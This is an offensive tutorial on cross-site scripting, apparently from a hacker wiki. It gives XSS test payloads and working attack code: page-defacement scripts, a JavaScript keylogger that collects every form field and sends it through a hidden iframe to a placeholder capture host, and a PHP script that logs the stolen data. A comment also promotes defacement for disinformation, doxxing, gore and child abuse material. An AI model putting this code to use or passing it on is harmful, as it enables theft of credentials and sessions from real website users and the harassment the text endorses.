Cross Site Scripting

FACT ALERT:
XSS is winrar. If you can pull it off, pat yourself on the back.

Cross site scripting (or XSS) is a method of exploiting a website that does not validate user supplied input or sanitize output. Web servers that fail to do so will allow you to run arbitrary javascript on an end users browser.

Entrypoints

XSS entrypoints are usually found in webforms & querystrings. You can test for the existence of xss by using the following string.

<script>alert(document.cookie);</script>

You also may be able to include javascript embedded in a flash object, or an image like so:

<img src="javascript:alert(document,cookie);" />

But this varies between browsers. Another way is like this

<a href="javascript:alert(document.cookie);">link</a>

But this requires your target to click a link.

Things To Do

Hijack user sessions/cookies
- Since user session ID and occasionally usernames/passwords are stored in cookies, you can steal cookie data to impersonate a user by either finding their uname/pass or using their server session ID.
Log Keystrokes

You can write some code in javascript to send data via ajax/iframes when a user presses a key.

Deface pages

If the xss exploit you've discovered is saved into a database and redisplayed to other users, you can deface the page by overlaying content.

Sample Code

//---Javascript
//Overlay a black background with LOL in big white text
html='<div style="position:absolute;top:0px;left:0px;z-index:99;width:100%;height:100%;background-color:black;"><h1 style="color:#fff;">LOLHAI</h1></div>';
document.write(html);

//---Javascript
//Change the content of <body>
html='<h1>LOLHAI</h1>';
window.document.body.innerHTML=html;

//---Javascript
//You can study the structure of a site and change the content for any element ID or tag name
html='<h1>LOLHAI</h1>';
document.getElementById('element_id').innerHTML = html;
document.getElementsByTagName('element_tag')[child].innerHTML = html;
//This is epic for trolling by inserting typos, disinformation, dox, gore, cp, etc

//---Javascript
//This is an example of a keylogger. There is also a php file on this article you can use to capture the data.
randVal = 'loldongs'+(Math.round((10000-5000) * Math.random() + 5000));
wp='<div style=":display:block;width:0;height:0;z-index:0;overflow:hidden;" id="'+randVal+'"></div>';
window.onload=function(){
	window.document.body.innerHTML='<div onkeyup="kl();">'+window.document.body.innerHTML+wp+'</div>';
}
function kl(){
	inp=document.getElementsByTagName('input');
	qs='';
	for(var i = 0; i < inp.length; i++){
		qs=qs+i+'_'+inp[i].name+'='+inp[i].value+'&';
	}
	cn=document.getElementById(randVal);
	kf='<iframe style="width:0;height:0;" src="http://CAPTUREHOST/capture.php?'+qs+'"></iframe>';
	cn.innerHTML=kf;
}

//---capture.php
//This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp 
<?php
	$dumpFile = "dump";
	$fh = fopen($dumpFile, 'a') or die("can't open file");
	fwrite($fh, date("m/d/y_g:i:s").'|'.$_SERVER['REMOTE_ADDR'].'|'.$_SERVER['HTTP_REFERER'].'|');
	foreach($_GET as $qs => $val){
		fwrite($fh, $qs."=".$val.'|');
	}
	fwrite($fh, "\n");
	fclose($fh);
?>